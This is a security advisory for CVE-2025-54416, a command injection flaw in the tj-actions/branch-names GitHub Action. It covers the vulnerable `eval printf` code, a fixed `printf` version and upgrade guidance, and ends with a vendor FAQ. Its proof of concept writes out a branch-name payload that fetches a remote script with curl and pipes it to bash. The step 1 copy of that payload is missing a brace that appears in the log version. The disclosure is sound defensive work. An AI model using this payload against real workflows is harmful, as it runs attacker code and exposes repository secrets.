CVE-2025-54416

Overview

A critical vulnerability has been identified in the tj-actions/branch-names GitHub Action workflow which allows arbitrary command execution in downstream workflows. This issue arises due to inconsistent input sanitization and unescaped output, enabling malicious actors to exploit specially crafted branch names or tags. While internal sanitization mechanisms have been implemented, the action outputs remain vulnerable, exposing consuming workflows to significant security risks.

Technical Details

The vulnerability stems from the unsafe use of the eval printf "%s" pattern within the action's codebase. Although initial sanitization using printf "%q" properly escapes untrusted input, subsequent unescaping via eval printf "%s" reintroduces command injection risks. This unsafe pattern is demonstrated in the following code snippet:

echo "base_ref_branch=$(eval printf "%s" "$BASE_REF")" >> "$GITHUB_OUTPUT"
echo "head_ref_branch=$(eval printf "%s" "$HEAD_REF")" >> "$GITHUB_OUTPUT"
echo "ref_branch=$(eval printf "%s" "$REF_BRANCH")" >> "$GITHUB_OUTPUT"

This approach allows attackers to inject arbitrary commands into workflows consuming these outputs, as shown in the Proof-of-Concept (PoC) below.

Proof-of-Concept (PoC)

1. Create a branch with the name $(curl,-sSfL,www.naturl.link/NNT652}${IFS}|${IFS}bash).
2. Trigger the vulnerable workflow by opening a pull request into the target repository.
3. Observe arbitrary code execution in the workflow logs.

Example output:

Running on a pull request branch.
Run echo "Running on pr: $({curl,-sSfL,www.naturl.link/NNT652}${IFS}|${IFS}bash)"
  echo "Running on pr: $({curl,-sSfL,www.naturl.link/NNT652}${IFS}|${IFS}bash)"
  shell: /usr/bin/bash -e {0}
Running on pr: === PoC script executed successfully ===
Runner user: runner

Impact

This vulnerability enables arbitrary command execution in repositories consuming outputs from tj-actions/branch-names. The severity of the impact depends on the permissions granted to the GITHUB_TOKEN and the context of the triggering event. Potential consequences include:

• Theft of sensitive secrets stored in the repository.
• Unauthorized write access to the repository.
• Compromise of the repository's integrity and security.

Mitigation and Resolution

To address this vulnerability, the unsafe eval printf "%s" pattern must be replaced with safer alternatives. Specifically, direct printf calls can achieve the same functionality without unescaping shell-unsafe characters. Below is the recommended fix:

printf "base_ref_branch=%s\n" "$BASE_REF" >> "$GITHUB_OUTPUT"
printf "head_ref_branch=%s\n" "$HEAD_REF" >> "$GITHUB_OUTPUT"
printf "ref_branch=%s\n" "$REF_BRANCH" >> "$GITHUB_OUTPUT"
printf "tag=%s\n" "$TAG" >> "$GITHUB_OUTPUT"

This approach ensures that all outputs remain properly escaped and safe for downstream consumption.

Recommendations

1. Immediate Action: Developers using the tj-actions/branch-names workflow should update their workflows to latest major version v9.

References

• GitHub Actions Security Guide
• How to Secure GitHub Actions Workflows
• Related Vulnerability: GHSA-mcph-m25j-8j63
• Template Injection Advisory: GHSA-8v8w-v8xg-79rf

Untrusted input is inserted into a command that is later executed by the application, allowing the attacker to alter the intent of that command. Typical impact: arbitrary command execution in the application's environment.

CVE-2025-54416 has a CVSS score of 9.1 (Critical). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (9.0.0); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2025-54416? CVE-2025-54416 is a critical-severity command injection vulnerability in tj-actions/branch-names (actions), affecting versions <= 8.2.1. It is fixed in 9.0.0. Untrusted input is inserted into a command that is later executed by the application, allowing the attacker to alter the intent of that command.
2. How severe is CVE-2025-54416? CVE-2025-54416 has a CVSS score of 9.1 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of tj-actions/branch-names are affected by CVE-2025-54416? tj-actions/branch-names (actions) versions <= 8.2.1 is affected.
4. Is there a fix for CVE-2025-54416? Yes. CVE-2025-54416 is fixed in 9.0.0. Upgrade to this version or later.
5. Is CVE-2025-54416 exploitable, and should I be worried? Whether CVE-2025-54416 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2025-54416 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2025-54416? Upgrade tj-actions/branch-names to 9.0.0 or later.